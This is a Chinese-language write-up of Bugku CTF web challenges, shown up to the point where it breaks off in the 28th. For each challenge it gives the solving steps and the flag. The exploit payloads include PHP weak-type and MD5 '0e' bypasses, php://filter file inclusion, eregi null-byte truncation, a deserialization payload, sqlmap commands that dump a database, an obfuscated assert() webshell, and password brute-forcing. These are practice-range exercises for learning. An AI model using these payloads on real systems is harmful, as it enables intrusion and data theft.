今天把之前做的題整理一下,方便有需要的人學習 φ(゜▽゜*)♪
1、web2
考點:F12的利用
Topic Link:http://123.206.87.240:8002/web2/
打開連接,特別的不一樣,直接F12可得flag
get flag:
flag KEY{Web-2-bugKssNNikls9100}
2、計算器
考點:F12的利用
Topic Link:http://120.24.86.145:8002/yanzhengma/
發現輸入框對輸入的數據長度有限制,F12進行修改長度輸入正確結果即可獲得flag一枚
get flag:
flag{CTF-bugku-0032}
3、web基礎$_GET
Topic Link:http://120.24.86.145:8002/get/
傳送$_GET型數據即可獲得flag一枚
get flag:
flagflag{bugku_get_su8kej2en}
4、web基礎$_POST
考點:代碼審計、$_POST利用
Topic Link:http://120.24.86.145:8002/post/
提交$_POST數據即可獲得flag一枚
get flag:
flagflag{bugku_get_ssseint67se}
5、矛盾
考點:php弱類型
Topic Link:http://120.24.86.145:8002/get/index1.php
$num=$_GET['num']; if(!is_numeric($num)) { echo $num; if($num==1) echo 'flag{**********}'; }
看了確實矛盾,不讓傳遞純數字數據卻要和純數字1相等,該怎么辦呢,
這里可以利用PHP的“==”弱類型漏洞進行繞過
構造playload為http://120.24.86.145:8002/get/index1.php?num=1aaa即可獲得flag一枚
get flag:
flag{bugku-789-ps-ssdf}
6、web3
考點:編碼&解碼
Topic Link:http://120.24.86.145:8002/web3/
提示flag在這里那就在這找吧,F12得到一串特殊的字符串,進行ASCII轉化或者直接放入瀏覽器的地址欄里直接回車即可獲得flag一枚
get flag:
KEY{J2sa42ahJK}
7. 域名解析
考點:域名解析
Topic Link:flag.bugku.com
按題目要求域名解析flag.bugku.com,才能得到flag
配置hosts文件,將120.24.86.145 flag.bugku.com添加進去,然后訪問flag.bugku.com即可獲得flag一枚
Linux系統在/etc/hosts目錄下,修改需要root權限
windows系統在c:\windows\system32\drivers\etc\hosts目錄下,若不讓修改,可以把之前的進行備份然后新建一個hosts文本文檔進行追加覆蓋
get flag:
KEY{DSAHDSJ82HDS2211}
8. 你必須讓他停下
Topic Link:http://123.206.87.240:8002/web12/
發現頁面一直在閃動,F12可看到flag is here~,先用BP抓個包分析可知一直點擊go的時候,服務器的響應報文中一個圖片><div><img src="10.jpg"/></div>一直在變,發現當如果是10.jpg的時候服務器的響應報文中有flag
get flag:
flag{dummy_game_1s_s0_popular}
9. 文件上傳測試
考點:文件上傳
Topic Link:http://103.238.227.13:10085/
按要求提交一個PHP文件,服務端卻提示非圖片文件
嘗試改后綴名為圖片格式(jpg png gif)卻不行
可能就是Content-Type的緣故,BP抓包,將Content-Type改為image/jpeg即可得到flag一枚
get flag:
Flag:42e97d465f962c53df9549377b513c7e
10. 變量1
Topic Link:http://120.24.86.145:8004/index1.php
flag In the variable ! <?php error_reporting(0); include "flag1.php"; highlight_file(__file__); if(isset($_GET['args'])){ $args = $_GET['args']; if(!preg_match("/^\w+$/",$args)){ die("args error!"); } eval("var_dump($$args);"); } ?>
分析代碼可以發現是php變量覆蓋漏洞,構造payload
http://120.24.86.145:8004/index1.php?args=GLOBALS
打印變量表中的所有變量,即可獲得flag一枚
get flag:
flag{92853051ab894a64f7865cf3c2128b34}
11. web5
考點:JS
Topic Link:http://123.206.87.240:8002/web5/
不知道submit什么,先查看源代碼發現有一段JS編碼,直接放到控制台就得到了flag
get flag:
ctf{whatfk}
12. 頭等艙
考點:網頁抓包分析
Topic Link:http://120.24.86.145:9009/hd.php
里面什么都沒有,先抓個包看有沒有有用信息,結果服務器的響應報文頭部包含flag
get flag:
flag{Bugku_k8_23s_istra}
13. 網站被黑
Topic Link:http://123.206.87.240:8002/webshell/
根據提示網站存在漏洞,利用御劍掃描工具進行掃描
進入shell.php網頁中,發現需要密碼驗證,利用burpsuite進行爆破
爆破對象
字典選取
讀取結果
輸入pass: hack
get flag:
flag{hack_bug_ku035}
各類爆破字典集下載:
GitHub項目地址:https://github.com/Qftm/Blasting-dictionary
14. 管理員系統
考點:IP偽造、base64編碼
Topic Link:http://123.206.31.85:1003/
F12查看源碼發現一個特殊的字符串 <!-- dGVzdDEyMw== --> 進行base64解密之后得到==》test123
利用用戶名admin嘗試登陸,發現未果,頁面還是提示IP已被記錄,抓包進行偽造IP,在HTTP請求中添加請求頭X-Forwarded-For: 127.0.0.1
在響應包里面的源碼里發現包含flag
get flag:
flag{85ff2ee4171396724bae20c0bd851f6b}
15. web4
考點:url編碼
Topic Link:http://120.24.86.145:8002/web4/
按提示查看源代碼
<html>
<title>BKCTF-WEB4</title>
<body>
<div style="display:none;"></div>
<form action="index.php" method="post" > 看看源代碼?<br>
<br>
<script>
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62'; var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b'; eval(unescape(p1) + unescape('%35%34%61%61%32' + p2)); </script>
<input type="input" name="flag" id="flag" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
將p1和p2,“%35%34%61%61%32”進行URL解碼或者十六進制轉換ASCII(不過需要先去除%)
66 75 6e 63 74 69 6f 6e 20 63 68 65 63 6b 53 75 62 6d 69 74 28 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 70 61 73 73 77 6f 72 64 22 29 3b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 29 7b 69 66 28 22 36 37 64 37 30 39 62 32 62
35 34 61 61 32
61 61 36 34 38 63 66 36 65 38 37 61 37 31 31 34 66 31 22 3d 3d 61 2e 76 61 6c 75 65 29 72 65 74 75 72 6e 21 30 3b 61 6c 65 72 74 28 22 45 72 72 6f 72 22 29 3b 61 2e 66 6f 63 75 73 28 29 3b 72 65 74 75 72 6e 21 31 7d 7d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6c 65 76 65 6c 51 75 65 73 74 22 29 2e 6f 6e 73 75 62 6d 69 74 3d 63 68 65 63 6b 53 75 62 6d 69 74 3b
按照eval()函數進行組合,得到一個function函數
function checkSubmit(){ var a=document.getElementById("password"); if("undefined"!=typeof a){ if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value) return!0; alert("Error"); a.focus(); return!1 } } document.getElementById("levelQuest").onsubmit=checkSubmit;
提交字符串"67d709b2b54aa2aa648cf6e87a7114f1"即可獲得flag
get flag:
KEY{J22JK-HS11}
16. flag在index里
Topic Link:http://123.206.87.240:8005/post/
知識簡介:
php偽協議: file:// — 訪問本地文件系統
http:// — 訪問 HTTP(s) 網址
ftp:// — 訪問 FTP(s) URLs
php:// — 訪問各個輸入/輸出流(I/O streams)
zlib:// — 壓縮流
data:// — 數據(RFC 2397)
glob:// — 查找匹配的文件路徑模式
phar:// — PHP 歸檔
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音頻流
expect:// — 處理交互式的流
點擊按鈕:click me? no
進入test5界面
分析
?file=show.php
測試是否存在文件包含漏洞
利用php偽協議進行測試
根據題目提示:flag在index里
嘗試payload:?file=php://filter/convert.base64-encode/resource=index.php
獲取index.php經過base64加密的源碼,對其進行解密:
在源碼中 get flag:
flag:flag{edulcni_elif_lacol_si_siht}
17. 輸入密碼查看flag
Topic Link:http://123.206.87.240:8002/baopo/
利用BurpSuite進行爆破密碼
獲取爆破對象
獲取爆破字典
根據Length獲取密碼: 13579
輸入pwd:13579
get flag:
flag{bugku-baopo-hah}
18. 點擊一百萬次
Topic Link:http://123.206.87.240:9001/test/
根據頁面顯示需要點擊曲奇1000000次才能夠得到flag,是不是感覺很好玩 *-*
查看源碼,分析<script>代碼
<script>
var clicks=0 $(function() { $("#cookie") .mousedown(function() { $(this).width('350px').height('350px'); }) .mouseup(function() { $(this).width('375px').height('375px'); clicks++; $("#clickcount").text(clicks); if(clicks >= 1000000){ var form = $('<form action="" method="post">' +
'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
'</form>'); $('body').append(form); form.submit(); } }); }); </script>
通過POST傳遞數據對clicks賦值大於1000000就可以得到flag,是不是比鼠標點擊快好多了,哈哈哈哈哈
get flag:
flag{Not_C00kI3Cl1ck3r}
19. 備份是個好習慣
知識簡介
strstr()函數語法:
strstr — 查找字符串的首次出現 string strstr( string $haystack, mixed $needle[, bool $before_needle = FALSE] ) 返回 haystack 字符串從 needle 第一次出現的位置開始到 haystack 結尾的字符串。
substr()函數語法:
substr — 返回字符串的子串 string substr( string $string, int $start[, int $length] ) 返回字符串 string 由 start 和 length 參數指定的子字符串。 參數 string 輸入字符串。必須至少有一個字符。 start 如果 start 是非負數,返回的字符串將從 string 的 start 位置開始,從 0 開始計算。例如,在字符串 "abcdef" 中,在位置 0 的字符是 "a",位置 2 的字符串是 "c" 等等。 如果 start 是負數,返回的字符串將從 string 結尾處向前數第 start 個字符開始。 如果 string 的長度小於 start,將返回 FALSE。 length 如果提供了正數的 length,返回的字符串將從 start 處開始最多包括 length 個字符(取決於 string 的長度)。 如果提供了負數的 length,那么 string 末尾處的 length 個字符將會被省略(若 start 是負數則從字符串尾部算起)。如果 start 不在這段文本中,那么將返回 FALSE。 如果提供了值為 0,FALSE 或 NULL 的 length,那么將返回一個空字符串。 如果沒有提供 length,返回的子字符串將從 start 位置開始直到字符串結尾。 返回值 返回提取的子字符串, 或者在失敗時返回 FALSE。
str_replace()函數語法:
str_replace — 子字符串替換
mixed str_replace( mixed $search, mixed $replace, mixed $subject[, int &$count] )
該函數返回一個字符串或者數組。該字符串或數組是將 subject 中全部的 search 都被 replace 替換之后的結果。
如果沒有一些特殊的替換需求(比如正則表達式),你應該使用該函數替換 ereg_replace() 和 preg_replace()。
參數
如果 search 和 replace 為數組,那么 str_replace() 將對 subject 做二者的映射替換。如果 replace 的值的個數少於 search 的個數,多余的替換將使用空字符串來進行。如果 search 是一個數組而 replace 是一個字符串,那么 search 中每個元素的替換將始終使用這個字符串。該轉換不會改變大小寫。
如果 search 和 replace 都是數組,它們的值將會被依次處理。
search
查找的目標值,也就是 needle。一個數組可以指定多個目標。
replace
search 的替換值。一個數組可以被用來指定多重替換。
subject
執行替換的數組或者字符串。也就是 haystack。
如果 subject 是一個數組,替換操作將遍歷整個 subject,返回值也將是一個數組。
count
如果被指定,它的值將被設置為替換發生的次數。
返回值
該函數返回替換后的數組或者字符串。
parse_str()函數語法:
parse_str — 將字符串解析成多個變量 void parse_str( string $encoded_string[, array &$result] ) 如果 encoded_string 是 URL 傳遞入的查詢字符串(query string),則將它解析為變量並設置到當前作用域(如果提供了 result 則會設置到該數組里 )。 參數 encoded_string 輸入的字符串。 result 如果設置了第二個變量 result,變量將會以數組元素的形式存入到這個數組,作為替代。 返回值 沒有返回值。
md5函數語法:
md5 — 計算字符串的 MD5 散列值 string md5( string $str[, bool $raw_output = false] ) 參數 str 原始字符串。 raw_output 如果可選的 raw_output 被設置為 TRUE,那么 MD5 報文摘要將以16字節長度的原始二進制格式返回。 返回值 以 32 字符十六進制數字形式返回散列值。
題目信息
Topic Link:http://123.206.87.240:8002/web16/
利用御劍掃描工具對網站進行掃描得到一個.bak文件
讀取.bak文件
<?php /** * Created by PhpStorm. * User: Norse * Date: 2017/8/6 * Time: 20:22 */
include_once "flag.php"; ini_set("display_errors", 0); $str = strstr($_SERVER['REQUEST_URI'], '?'); $str = substr($str,1); $str = str_replace('key','',$str); parse_str($str); echo md5($key1); echo md5($key2); if(md5($key1) == md5($key2) && $key1 !== $key2){ echo $flag."取得flag"; } ?>
代碼審計發現需要滿足幾個條件:1. GET方法進行傳遞數據
2. 傳遞的數據里面需要有兩個變量key1和key2
3. if(md5($key1) == md5($key2) && $key1 !== $key2) ==》 TRUE
漏洞利用:1. 用雙寫key來繞過str_repalce()函數
2. 利用MD5的特殊字符串繞過if(md5($key1) == md5($key2) && $key1 !== $key2)條件
MD5特殊字符串:
QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514
構造payload:
http://123.206.87.240:8002/web16/index.php?kekeyy1=s878926199a&kekeyy2=QNKCDZO
get flag:
Bugku{OH_YOU_FIND_MY_MOMY}
20. 成績單
Topic Link:http://123.206.87.240:8002/chengjidan/
查看界面,進行測試,發現網頁通過POST傳遞ID值來進行改變網頁顯示內容
分析可能存在SQL注入漏洞,利用sqlmap進行測試
測試代碼
python2 sqlmap.py -u"http://123.206.87.240:8002/chengjidan/index.php" --dbs --data="id=1"
測試結果,存在SQL注入漏洞,爆出來了數據庫
報表
python2 sqlmap.py -u"http://123.206.87.240:8002/chengjidan/index.php" --dbs --data="id=1" -D skctf_flag --tables
爆字段
python2 sqlmap.py -u"http://123.206.87.240:8002/chengjidan/index.php" --dbs --data="id=1" -D skctf_flag -T fl4g --columns
爆特定字段值
python2 sqlmap.py -u"http://123.206.87.240:8002/chengjidan/index.php" --dbs --data="id=1" -D skctf_flag -T fl4g -C skctf_flag --dump
get flag:
BUGKU{Sql_INJECT0N_4813drd8hz4}
21. 秋名山老司機
Topic Link:http://123.206.87.240:8002/qiumingshan/
根據頁面顯示,讓2s內計算一個公式,口算你認為你可能嗎???,編寫Python腳本。
但是不知道使用腳本計算出來的結果該怎么處理。出題人可真是老司機!!!!,當頁面刷新超過2次時,就會顯示不同的頁面,提示怎么處理你計算出的結果。
python腳本
import requests import re url = 'http://123.206.87.240:8002/qiumingshan/' R = requests.session() g = R.get(url) page = re.findall(r'<div>(.*)=\?;</div>', g.text)[0] result = eval(page) data = {'value': result} flag = R.post(url, data=data) print(flag.text)
腳本的運行需要超過兩次,才能夠得到flag *_*
get flag:
Bugku{YOU_DID_IT_BY_SECOND}
22. 速度要快
Topic Link:http://123.206.87.240:8002/web6/
查看頁面源代碼
根據提示需要POST傳遞一個margin,但是不知道margin的值是什么,於是抓取一個數據包進行查看
發現響應報文里面出現flag,先將其base64解碼查看
難道這就是flag?????
通過提交該值,發現並不是(肯定不會這么簡單。。。。),根據源碼里面的提示margin的值為你發現的東西,猜想margin的值就是flag,當我再次向服務器發出請求時發現flag的值在變化。
現在只有編寫腳本 #一定要保證整個操作是在一個session中不然每一次的請求flag的值都不一樣
import requests import base64 url = 'http://123.206.87.240:8002/web6/' #使用同一個會話 r = requests.session() #get方式無參請求 get_response = r.get(url) #bytes.decode("value")方法將byte類型的數據轉換成str類型的數據 key = base64.b64decode(bytes.decode(base64.b64decode(get_response.headers['flag'])).split(":")[1]) #post:flag post = {'margin': key} post_responese = r.post(url, data=post) #獲取頁面內容,使用"value".decode()方法將byte類型的數據轉換成str類型的數據,兩種引用方式不一樣,但效果一樣 print(post_responese.content.decode())
運行結果
get flag:
KEY{111dd62fcd377076be18a}
23. cookies欺騙
Topic Link:http://123.206.87.240:8002/web11/ 答案格式:KEY{xxxxxxxx}
filename為base64編碼,由此讀取index.php文件,但是有行數的限制,編寫腳本讀取index.php文件
import requests a=50 for i in range(a): url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw" s=requests.get(url) print (s.text)
Result
<?php error_reporting(0); $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); $line=isset($_GET['line'])?intval($_GET['line']):0; if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); $file_list = array( '0' =>'keys.txt', '1' =>'index.php', ); if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ $file_list[2]='keys.php'; } if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; } ?>
代碼審計可知需要構造:
1、cookie:$_COOKIE['margin']=='margin'
2、filename=a2V5cy5waHA=
右鍵查看源碼讀取flag
get flag:
<?php $key='KEY{key_keys}'; ?>
24. never give up
Topic Link:http://123.206.87.240:8006/test/hello.php
查看網頁源代碼發現存在 “1p.html” 嘗試去訪問 http://123.206.87.240:8006/test/1p.html,卻跳轉到了其它頁面,應該是重定向所致,查看1p.html網頁源碼
<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>
將Words值進行解碼
url解碼
<script>window.location.href='http://www.bugku.com';</script>
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->
base64解碼
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
代碼審計發現需要滿足:1. if(!$_GET['id'])條件為假同時$id==0 //感覺很矛盾但是可以利用php弱類型繞過 !aaa ==> 0 & aaa==0 ==> ture
2. $data=="bugku is a nice plateform!" //利用php偽協議賦值
3. strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4 //利用eregi()函數%00截斷漏洞繞過 $b=%00999999999
構造payload:
http://123.206.87.240:8006/test/hello.php?id=aaa&a=data://,bugku%20is%20a%20nice%20plateform!&b=%00999999
get flag:
flag{tHis_iS_THe_fLaG}
25. welcome to bugkuctf
Topic Link:http://123.206.87.240:8006/test1/
頁面源代碼:
you are not the number of bugku !
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
代碼審計發現需要滿足一個條件:1. user的值必須等於"welcome to the bugkuctf"
根據提示 ”include($file); //hint.php ” 構造初步payload
payload1:
http://123.206.87.240:8006/test1/?txt=data://,welcome%20to%20the%20bugkuctf&file=php://filter/convert.base64-encode/resource=hint.php
讀取hint.php文件:
PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA==
將獲取到的base64代碼進行解密,獲取hint.php文件源碼
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
payload2:
http://123.206.87.240:8006/test1/?txt=data://,welcome%20to%20the%20bugkuctf&file=php://filter/convert.base64-encode/resource=index.php
讀取index.php文件
PD9waHAgIA0KJHR4dCA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzc3dvcmQgPSAkX0dFVFsicGFzc3dvcmQiXTsgIA0KICANCmlmKGlzc2V0KCR0eHQpJiYoZmlsZV9nZXRfY29udGVudHMoJHR4dCwncicpPT09IndlbGNvbWUgdG8gdGhlIGJ1Z2t1Y3RmIikpeyAgDQogICAgZWNobyAiaGVsbG8gZnJpZW5kITxicj4iOyAgDQogICAgaWYocHJlZ19tYXRjaCgiL2ZsYWcvIiwkZmlsZSkpeyANCgkJZWNobyAi5LiN6IO9546w5Zyo5bCx57uZ5L2gZmxhZ+WTpiI7DQogICAgICAgIGV4aXQoKTsgIA0KICAgIH1lbHNleyAgDQogICAgICAgIGluY2x1ZGUoJGZpbGUpOyAgIA0KICAgICAgICAkcGFzc3dvcmQgPSB1bnNlcmlhbGl6ZSgkcGFzc3dvcmQpOyAgDQogICAgICAgIGVjaG8gJHBhc3N3b3JkOyAgDQogICAgfSAgDQp9ZWxzZXsgIA0KICAgIGVjaG8gInlvdSBhcmUgbm90IHRoZSBudW1iZXIgb2YgYnVna3UgISAiOyAgDQp9ICANCiAgDQo/PiAgDQogIA0KPCEtLSAgDQokdXNlciA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzcyA9ICRfR0VUWyJwYXNzd29yZCJdOyAgDQogIA0KaWYoaXNzZXQoJHVzZXIpJiYoZmlsZV9nZXRfY29udGVudHMoJHVzZXIsJ3InKT09PSJ3ZWxjb21lIHRvIHRoZSBidWdrdWN0ZiIpKXsgIA0KICAgIGVjaG8gImhlbGxvIGFkbWluITxicj4iOyAgDQogICAgaW5jbHVkZSgkZmlsZSk7IC8vaGludC5waHAgIA0KfWVsc2V7ICANCiAgICBlY2hvICJ5b3UgYXJlIG5vdCBhZG1pbiAhICI7ICANCn0gIA0KIC0tPiAg
將獲取到的base64代碼進行解密,獲取index.php文件源碼
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能現在就給你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
分析代碼可知:1. file的值不能包含flag字符串
2. user的值必須等於"welcome to the bugkuctf"
3. password 的值必須是經過序列化的字符串
php反序列化漏洞:
當一個對象被當作字符串使用時會自動調用魔法函數 "__toString()"
利用php反序列化漏洞進行構造最終payload
http://123.206.87.240:8006/test1/?txt=data://,welcome%20to%20the%20bugkuctf&file=hint.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
查看源碼
hello friend!<br> <?php
//flag{php_is_the_best_language} 1
?><br>good
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
get flag:
flag{php_is_the_best_language}
26. 過狗一句話
Topic Link:http://123.206.31.85:49162/
源碼
<?php $poc = "a#s#s#e#r#t"; $poc_1 = explode("#", $poc); $poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5]; $poc_2($_GET['s']) ?>
代碼審計,源碼相當於:assert() 執行字符串s
payload1:讀取當前目錄下的文件
http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))
發現存在特殊文件:
訪問:http://123.206.87.240:8010/f14g.txt 讀取到flag信息
get flag:
BUGKU{bugku_web_009801_a}
27. 字符?正則?
Topic Link:http://123.206.87.240:8002/web10/
源碼
<?php highlight_file('2.php'); $key='KEY{********************************}'; $IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match); if( $IM ){ die('key is: '.$key); } ?>
正則分析
"key":表達式字符串”key“直接匹配 ".":匹配除“\n”之外的任何單個字符。要匹配包括“\n”在內的任何字符,請使用像“[\s\S]”的模式 "*":匹配前面的子表達式零次或多次。例如,zo*能匹配“z”以及“zoo”。*等價於{0,} "\/":代表“/” [a-z]:代表a-z中的任意一個字符 [[:punct:]]:匹配其中一個字符: !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ /i:忽略大小寫 {4-7}:{n,m},m和n均為非負整數,其中n<=m。最少匹配n次且最多匹配m次 "/":將下一個字符標記為一個特殊字符、或一個原義字符、或一個向后引用、或一個八進制轉義符。例如,“\n”匹配字符“n”。“\\n”匹配一個換行符。序列“\\”匹配“\”而“\(”則匹配“(”
構造payload
http://123.206.87.240:8002/web10/?id=key999key9999key:/9/999keyy^
get flag:
key is: KEY{0x0SIOPh550afc}
28. 前女友(SKCTF)
Topic Link:http://123.206.31.85:49162/
查看頁面源碼
<html>
<head>
<title></title>
<style type="text/css">
.link { text-decoration: none; color: #000;
} .link:hover { text-decoration: none; color: #000;
} </style>
</head>
<body>
<div align="center">
